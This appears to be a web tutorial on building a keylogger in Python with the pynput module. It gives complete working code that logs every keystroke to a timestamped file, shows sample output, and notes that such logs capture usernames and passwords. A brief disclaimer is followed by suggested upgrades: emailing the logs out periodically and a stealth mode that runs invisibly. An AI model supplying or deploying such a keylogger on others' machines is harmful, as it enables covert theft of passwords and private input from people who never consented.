Article Categories
- All Categories
-
Data Structure
-
Networking
-
RDBMS
-
Operating System
-
Java
-
MS Excel
-
iOS
-
HTML
-
CSS
-
Android
-
Python
-
C Programming
-
C++
-
C#
-
MongoDB
-
MySQL
-
Javascript
-
PHP
-
Economics & Finance
Design a Keylogger in Python
A keylogger is a program that monitors and records keystrokes. These keystrokes are stored in a log file, potentially capturing sensitive information like usernames and passwords. Here we'll develop a simple keylogger using Python's pynput module.
Disclaimer: This tutorial is for educational purposes only. Use keyloggers responsibly and only on systems you own or have explicit permission to monitor.
Installing Required Module
The pynput module is not part of Python's standard library, so we need to install it ?
pip install pynput
To verify the installation, import the module in your Python shell ?
>>> import pynput >>>
Building the Keylogger
First, we'll import the required modules. The pynput.keyboard module provides the Key and Listener classes for monitoring keyboard events, while the logging module handles file operations ?
from pynput.keyboard import Key, Listener import logging
Setting Up Logging Configuration
Next, we configure the logging to store keystrokes in a text file with timestamps ?
log_dir = r"C:/users/username/desktop/"
logging.basicConfig(
filename=(log_dir + "keyLog.txt"),
level=logging.DEBUG,
format='%(asctime)s: %(message)s'
)
Creating the Key Press Handler
We define a function that will be called whenever a key is pressed. This function logs each keystroke ?
def on_press(key):
logging.info(str(key))
Complete Keylogger Implementation
Here's the complete keylogger program that combines all the components ?
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/username/desktop/"
logging.basicConfig(
filename=(log_dir + "keyLog.txt"),
level=logging.DEBUG,
format='%(asctime)s: %(message)s'
)
def on_press(key):
logging.info(str(key))
# Start the listener
with Listener(on_press=on_press) as listener:
listener.join()
Example Output
When the script runs and you type "hello world", the log file contains entries like this ?
2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd'
How It Works
The keylogger works by creating a Listener object that monitors keyboard events in the background. When a key is pressed, the on_press function is called, which logs the key to our specified file. The listener.join() method keeps the program running until manually stopped.
Enhanced Features
You can enhance this basic keylogger by adding features like ?
- Filtering out special keys for cleaner output
- Email integration to send logs periodically
- Stealth mode to run invisibly
- Stop conditions (specific key combinations to halt logging)
Conclusion
This simple keylogger demonstrates how to monitor keyboard input using Python's pynput module. The program captures all keystrokes and saves them with timestamps to a log file. Remember to use such tools ethically and responsibly.
